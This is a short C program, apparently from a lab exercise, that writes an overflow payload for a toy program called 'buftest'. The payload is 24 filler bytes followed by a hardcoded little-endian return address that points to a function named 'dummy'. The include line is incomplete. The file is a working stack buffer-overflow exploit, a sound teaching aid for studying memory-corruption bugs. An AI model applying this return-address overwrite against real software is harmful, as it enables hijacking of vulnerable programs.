#include // Creates an exploit string for buftest. int main() { FILE* fp = fopen("exploit.txt", "w"); int i; for (i = 0; i < 24; i++) { // first, overwrite the buffer and extra // stack space with arbitrary data putc(0, fp); } // now write the return address of dummy // in little-endian order. putc(0x7d, fp); putc(0x05, fp); putc(0x40, fp); putc(0, fp); putc(0, fp); putc(0, fp); putc(0, fp); putc(0, fp); fclose(fp); return 0; }